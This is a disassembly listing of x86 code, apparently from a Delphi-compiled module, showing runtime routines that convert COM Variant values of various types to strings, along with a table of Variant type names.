loc_2000E22C:				; CODE XREF: sub_2000DD44+94j
					; sub_2000DD44+BCj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000E282


loc_2000E239:				; CODE XREF: sub_2000DD44+53Cj
		lea	eax, [ebp+var_78]
		mov	edx, 7
		call	sub_20003FCC
		lea	eax, [ebp+var_5C]
		mov	edx, 3
		call	sub_2000467C
		lea	eax, [ebp+var_50]
		mov	edx, 0Bh
		call	sub_20003FCC
		lea	eax, [ebp+var_24]
		mov	edx, 5
		call	sub_2000467C
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000E27B:				; DATA XREF: sub_2000DD44+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000E239
; ---------------------------------------------------------------------------


loc_2000E282:				; CODE XREF: sub_2000DD44+536j
					; DATA XREF: sub_2000DD44+4F0o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000DD44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000E288	proc near		; CODE XREF: sub_2000E46C+254p
					; sub_2000E46C+4A3p ...

var_14		= dword	ptr -14h
pvarg		= VARIANTARG ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000E332
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		xor	eax, eax
		push	ebp
		push	offset loc_2000E315
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		push	0
		push	400h
		push	ebx
		lea	eax, [ebp+pvarg]
		push	eax
		mov	eax, ds:off_20014544
		mov	eax, [eax]
		call	eax
		mov	dx, [ebx]
		mov	cx, 8
		call	sub_2000D3E4
		push	esi
		lea	eax, [ebp+var_14]
		mov	edx, dword ptr [ebp+pvarg.anonymous_0+8]
		call	sub_20004774
		mov	eax, [ebp+var_14]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_20004860
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000E31C


loc_2000E30C:				; CODE XREF: sub_2000E288+92j
		lea	eax, [ebp+pvarg]
		call	sub_2000D6F0
		retn
; ---------------------------------------------------------------------------


loc_2000E315:				; DATA XREF: sub_2000E288+2Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000E30C
; ---------------------------------------------------------------------------


loc_2000E31C:				; CODE XREF: sub_2000E288+8Cj
					; DATA XREF: sub_2000E288+7Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000E339


loc_2000E329:				; CODE XREF: sub_2000E288+AFj
		lea	eax, [ebp+var_14]
		call	sub_20004664
		retn
; ---------------------------------------------------------------------------


loc_2000E332:				; DATA XREF: sub_2000E288+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000E329
; ---------------------------------------------------------------------------


loc_2000E339:				; CODE XREF: sub_2000E288+A9j
					; DATA XREF: sub_2000E288+9Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000E288	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000E340	proc near		; CODE XREF: sub_2000E46C+28Cp

pvarg		= VARIANTARG ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		xor	eax, eax
		push	ebp
		push	offset loc_2000E396
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+pvarg]
		call	sub_2000DA18
		lea	eax, [ebp+pvarg]
		call	ds:dword_20015828
		lea	edx, [ebp+pvarg]
		mov	eax, esi
		call	sub_2000E46C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000E39D


loc_2000E38D:				; CODE XREF: sub_2000E340+5Bj
		lea	eax, [ebp+pvarg]
		call	sub_2000D6F0
		retn
; ---------------------------------------------------------------------------


loc_2000E396:				; DATA XREF: sub_2000E340+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000E38D
; ---------------------------------------------------------------------------


loc_2000E39D:				; CODE XREF: sub_2000E340+55j
					; DATA XREF: sub_2000E340+48o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000E340	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000E3A4	proc near		; CODE XREF: sub_2000E46C+4BFp

var_20		= dword	ptr -20h
pvarg		= VARIANTARG ptr -1Ch
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		xor	ecx, ecx
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_2000E3C0
		xor	edx, edx
		mov	[eax], edx


loc_2000E3C0:				; CODE XREF: sub_2000E3A4+16j
		xor	eax, eax
		push	ebp
		push	offset loc_2000E45C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_C]
		mov	ax, [ebx]
		call	sub_2000EFAC
		mov	[ebp+var_5], al
		cmp	[ebp+var_5], 0
		jz	short loc_2000E446
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		xor	eax, eax
		push	ebp
		push	offset loc_2000E43F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		mov	ecx, ebx
		lea	edx, [ebp+pvarg]
		mov	eax, [ebp+var_C]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		mov	edx, dword ptr [ebp+pvarg.anonymous_0+8]
		call	sub_20004774
		mov	eax, [ebp+var_20]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_20004860
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000E446


loc_2000E436:				; CODE XREF: sub_2000E3A4+A0j
		lea	eax, [ebp+pvarg]
		call	sub_2000D6F0
		retn
; ---------------------------------------------------------------------------


loc_2000E43F:				; DATA XREF: sub_2000E3A4+4Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000E436
; ---------------------------------------------------------------------------


loc_2000E446:				; CODE XREF: sub_2000E3A4+3Cj
					; sub_2000E3A4+9Aj
					; DATA XREF: ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000E463


loc_2000E453:				; CODE XREF: sub_2000E3A4+BDj
		lea	eax, [ebp+var_20]
		call	sub_20004664
		retn
; ---------------------------------------------------------------------------


loc_2000E45C:				; DATA XREF: sub_2000E3A4+1Fo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000E453
; ---------------------------------------------------------------------------


loc_2000E463:				; CODE XREF: sub_2000E3A4+B7j
					; DATA XREF: sub_2000E3A4+AAo
		mov	al, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000E3A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000E46C	proc near		; CODE XREF: sub_2000E340+3Bp
					; sub_2000E46C+245p ...

var_94		= tbyte	ptr -94h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Eh


loc_2000E474:				; CODE XREF: sub_2000E46C+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_2000E474
		push	ecx
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000E9BE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ax, [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_2000E6D4	; default
					; jumptable 2000E49F cases 10,14,15
		jmp	off_2000E4A6[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_2000E4A6	dd offset loc_2000E4FA	; DATA XREF: sub_2000E46C+33r
		dd offset loc_2000E506	; jump table for switch	statement
		dd offset loc_2000E52E
		dd offset loc_2000E549
		dd offset loc_2000E563
		dd offset loc_2000E584
		dd offset loc_2000E5A5
		dd offset loc_2000E5C2
		dd offset loc_2000E5DF
		dd offset loc_2000E6BB
		dd offset loc_2000E6D4
		dd offset loc_2000E602
		dd offset loc_2000E6AA
		dd offset loc_2000E6BB
		dd offset loc_2000E6D4
		dd offset loc_2000E6D4
		dd offset loc_2000E61D
		dd offset loc_2000E638
		dd offset loc_2000E654
		dd offset loc_2000E66F
		dd offset loc_2000E68D
; ---------------------------------------------------------------------------


loc_2000E4FA:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		mov	eax, esi	; jumptable 2000E49F case 0
		call	sub_20004664
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E506:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		cmp	ds:byte_20014334, 0 ; jumptable	2000E49F case 1
		jz	short loc_2000E51C
		mov	dx, 8
		mov	ax, 1
		call	sub_2000CFA4


loc_2000E51C:				; CODE XREF: sub_2000E46C+A1j
		mov	eax, esi
		mov	edx, ds:dword_20014338
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E52E:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		lea	edx, [ebp+var_4] ; jumptable 2000E49F case 2
		movsx	eax, word ptr [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E549:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		lea	edx, [ebp+var_8] ; jumptable 2000E49F case 3
		mov	eax, [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E563:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		fld	dword ptr [ebx+8] ; jumptable 2000E49F case 4
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_C]
		call	sub_20008390
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E584:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		fld	qword ptr [ebx+8] ; jumptable 2000E49F case 5
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_10]
		call	sub_20008390
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E5A5:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		push	dword ptr [ebx+0Ch] ; jumptable	2000E49F case 6
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_14]
		call	sub_2000DA5C
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E5C2:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		push	dword ptr [ebx+0Ch] ; jumptable	2000E49F case 7
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_18]
		call	sub_2000DA94
		mov	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E5DF:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		push	esi		; jumptable 2000E49F case 8
		lea	eax, [ebp+var_1C]
		mov	edx, [ebx+8]
		call	sub_20004774
		mov	eax, [ebp+var_1C]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_20004860
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E602:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		lea	edx, [ebp+var_20] ; jumptable 2000E49F case 11
		mov	ax, [ebx+8]
		call	sub_2000DACC
		mov	edx, [ebp+var_20]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E61D:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		lea	edx, [ebp+var_24] ; jumptable 2000E49F case 16
		movsx	eax, byte ptr [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_24]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E638:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		lea	edx, [ebp+var_28] ; jumptable 2000E49F case 17
		xor	eax, eax
		mov	al, [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_28]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E654:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		lea	edx, [ebp+var_2C] ; jumptable 2000E49F case 18
		movzx	eax, word ptr [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_2C]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E66F:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		mov	eax, [ebx+8]	; jumptable 2000E49F case 19
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_30]
		call	sub_2000724C
		mov	edx, [ebp+var_30]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E68D:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		push	dword ptr [ebx+0Ch] ; jumptable	2000E49F case 20
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_34]
		call	sub_2000724C
		mov	edx, [ebp+var_34]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E6AA:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		mov	eax, [ebx+8]	; jumptable 2000E49F case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_2000E46C
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E6BB:				; CODE XREF: sub_2000E46C+33j
					; DATA XREF: sub_2000E46C:off_2000E4A6o
		lea	edx, [ebp+var_38] ; jumptable 2000E49F cases 9,13
		mov	eax, ebx
		call	sub_2000E288
		mov	edx, [ebp+var_38]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E6D4:				; CODE XREF: sub_2000E46C+2Dj
					; sub_2000E46C+33j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 2000E49F cases 10,14,15
		sub	dx, 100h
		jz	short loc_2000E6E4
		dec	dx
		jz	short loc_2000E6F3
		jmp	short loc_2000E70C
; ---------------------------------------------------------------------------


loc_2000E6E4:				; CODE XREF: sub_2000E46C+26Fj
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E6F3:				; CODE XREF: sub_2000E46C+274j
		lea	edx, [ebp+var_3C]
		mov	eax, ebx
		call	sub_2000E340
		mov	edx, [ebp+var_3C]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E70C:				; CODE XREF: sub_2000E46C+276j
		test	ah, 40h
		jz	loc_2000E920
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_2000E90A	; default
					; jumptable 2000E726 cases 0,1,9,10,13-15
		jmp	off_2000E72D[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_2000E72D	dd offset loc_2000E90A	; DATA XREF: sub_2000E46C+2BAr
		dd offset loc_2000E90A	; jump table for switch	statement
		dd offset loc_2000E781
		dd offset loc_2000E79E
		dd offset loc_2000E7BA
		dd offset loc_2000E7DD
		dd offset loc_2000E800
		dd offset loc_2000E81F
		dd offset loc_2000E83E
		dd offset loc_2000E90A
		dd offset loc_2000E90A
		dd offset loc_2000E84F
		dd offset loc_2000E8FC
		dd offset loc_2000E90A
		dd offset loc_2000E90A
		dd offset loc_2000E90A
		dd offset loc_2000E86C
		dd offset loc_2000E889
		dd offset loc_2000E8A6
		dd offset loc_2000E8C3
		dd offset loc_2000E8E0
; ---------------------------------------------------------------------------


loc_2000E781:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		lea	edx, [ebp+var_40] ; jumptable 2000E726 case 2
		mov	eax, [ebx+8]
		movsx	eax, word ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_40]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E79E:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		lea	edx, [ebp+var_44] ; jumptable 2000E726 case 3
		mov	eax, [ebx+8]
		mov	eax, [eax]
		call	sub_20007160
		mov	edx, [ebp+var_44]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E7BA:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, [ebx+8]	; jumptable 2000E726 case 4
		fld	dword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_48]
		call	sub_20008390
		mov	edx, [ebp+var_48]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E7DD:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, [ebx+8]	; jumptable 2000E726 case 5
		fld	qword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_4C]
		call	sub_20008390
		mov	edx, [ebp+var_4C]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E800:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, [ebx+8]	; jumptable 2000E726 case 6
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_50]
		call	sub_2000DA5C
		mov	edx, [ebp+var_50]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E81F:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, [ebx+8]	; jumptable 2000E726 case 7
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_54]
		call	sub_2000DA94
		mov	edx, [ebp+var_54]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E83E:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, esi	; jumptable 2000E726 case 8
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_20004774
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E84F:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		lea	edx, [ebp+var_58] ; jumptable 2000E726 case 11
		mov	eax, [ebx+8]
		mov	ax, [eax]
		call	sub_2000DACC
		mov	edx, [ebp+var_58]
		mov	eax, esi
		call	sub_200046A0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E86C:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		lea	edx, [ebp+var_5C] ; jumptable 2000E726 case 16
		mov	eax, [ebx+8]
		movsx	eax, byte ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_5C]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E889:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		lea	edx, [ebp+var_60] ; jumptable 2000E726 case 17
		mov	eax, [ebx+8]
		movzx	eax, byte ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_60]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E8A6:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		lea	edx, [ebp+var_64] ; jumptable 2000E726 case 18
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_64]
		mov	eax, esi
		call	sub_200047B0
		jmp	loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E8C3:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, [ebx+8]	; jumptable 2000E726 case 19
		mov	eax, [eax]
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_68]
		call	sub_2000724C
		mov	edx, [ebp+var_68]
		mov	eax, esi
		call	sub_200047B0
		jmp	short loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E8E0:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, [ebx+8]	; jumptable 2000E726 case 20
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_6C]
		call	sub_2000724C
		mov	edx, [ebp+var_6C]
		mov	eax, esi
		call	sub_200047B0
		jmp	short loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E8FC:				; CODE XREF: sub_2000E46C+2BAj
					; DATA XREF: sub_2000E46C:off_2000E72Do
		mov	eax, [ebx+8]	; jumptable 2000E726 case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_2000E46C
		jmp	short loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E90A:				; CODE XREF: sub_2000E46C+2B4j
					; sub_2000E46C+2BAj
					; DATA XREF: ...
		lea	edx, [ebp+var_70] ; default
					; jumptable 2000E726 cases 0,1,9,10,13-15
		mov	eax, ebx
		call	sub_2000E288
		mov	edx, [ebp+var_70]
		mov	eax, esi
		call	sub_200046A0
		jmp	short loc_2000E948
; ---------------------------------------------------------------------------


loc_2000E920:				; CODE XREF: sub_2000E46C+2A3j
		mov	eax, esi
		call	sub_20004664
		mov	edx, eax
		mov	eax, ebx
		call	sub_2000E3A4
		test	al, al
		jnz	short loc_2000E948
		lea	edx, [ebp+var_74]
		mov	eax, ebx
		call	sub_2000E288
		mov	edx, [ebp+var_74]
		mov	eax, esi
		call	sub_200046A0


loc_2000E948:				; CODE XREF: sub_2000E46C+95j
					; sub_2000E46C+BDj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000E9C5


loc_2000E955:				; CODE XREF: sub_2000E46C+557j
		lea	eax, [ebp+var_74]
		mov	edx, 2
		call	sub_2000467C
		lea	eax, [ebp+var_6C]
		mov	edx, 5
		call	sub_20003FCC
		lea	eax, [ebp+var_58]
		mov	edx, 3
		call	sub_2000467C
		lea	eax, [ebp+var_4C]
		mov	edx, 4
		call	sub_20003FCC
		lea	eax, [ebp+var_3C]
		mov	edx, 2
		call	sub_2000467C
		lea	eax, [ebp+var_34]
		mov	edx, 5
		call	sub_20003FCC
		lea	eax, [ebp+var_20]
		mov	edx, 4
		call	sub_2000467C
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000E9BE:				; DATA XREF: sub_2000E46C+19o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000E955
; ---------------------------------------------------------------------------


loc_2000E9C5:				; CODE XREF: sub_2000E46C+551j
					; DATA XREF: sub_2000E46C+4E4o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000E46C	endp

; ---------------------------------------------------------------------------
		align 4


loc_2000E9CC:				; DATA XREF: CODE:2000F131o
		cmp	word ptr [eax],	8
		jb	short locret_2000E9EC
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	word ptr [eax],	0
		mov	edx, esp
		call	sub_2000DA18
		add	esp, 10h

locret_2000E9EC:			; CODE XREF: CODE:2000E9D0j
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 5
aEmpty		db 'Empty',0            ; DATA XREF: DATA:off_20014344o
		align 10h
dword_2000EA00	dd 0FFFFFFFFh, 4, 6C6C754Eh, 0 ; DATA XREF: DATA:20014348o
dword_2000EA10	dd 0FFFFFFFFh, 8, 6C616D53h, 746E696Ch,	0 ; DATA XREF: DATA:2001434Co
dword_2000EA24	dd 0FFFFFFFFh, 7, 65746E49h, 726567h, 0FFFFFFFFh, 6, 676E6953h
					; DATA XREF: DATA:20014350o
		dd 656Ch, 0FFFFFFFFh, 6, 62756F44h, 656Ch, 0FFFFFFFFh
		dd 8, 72727543h, 79636E65h, 0
dword_2000EA68	dd 0FFFFFFFFh, 4, 65746144h, 0 ; DATA XREF: DATA:20014360o
dword_2000EA78	dd 0FFFFFFFFh, 6, 53656C4Fh, 7274h, 0FFFFFFFFh,	8, 70736944h
					; DATA XREF: DATA:20014364o
		dd 68637461h, 0
dword_2000EA9C	dd 0FFFFFFFFh, 5, 6F727245h, 72h, 0FFFFFFFFh, 7, 6C6F6F42h
					; DATA XREF: DATA:2001436Co
		dd 6E6165h, 0FFFFFFFFh,	7, 69726156h, 746E61h, 0FFFFFFFFh
		dd 7, 6E6B6E55h, 6E776Fh, 0FFFFFFFFh, 7, 69636544h, 6C616Dh
		dd 0FFFFFFFFh, 3, 463024h, 0FFFFFFFFh, 8, 726F6853h, 746E4974h
		dd 0
dword_2000EB0C	dd 0FFFFFFFFh, 4, 65747942h, 0 ; DATA XREF: DATA:20014388o
dword_2000EB1C	dd 0FFFFFFFFh, 4, 64726F57h, 0 ; DATA XREF: DATA:2001438Co
dword_2000EB2C	dd 0FFFFFFFFh, 8, 676E6F4Ch, 64726F57h,	0 ; DATA XREF: DATA:20014390o
dword_2000EB40	dd 0FFFFFFFFh, 5, 36746E49h, 34h ; DATA	XREF: DATA:20014394o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EB50	proc near		; CODE XREF: sub_2000CFA4+2Ap
					; sub_2000CFA4+3Ep ...

var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDF8h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_208], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000EC76
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edi, ebx
		and	di, 0FFFh
		cmp	di, 14h
		ja	short loc_2000EB99
		mov	eax, esi
		movzx	edx, di
		mov	edx, ds:off_20014344[edx*4]
		call	sub_20003FFC
		jmp	loc_2000EC37
; ---------------------------------------------------------------------------


loc_2000EB99:				; CODE XREF: sub_2000EB50+31j
		cmp	bx, 100h
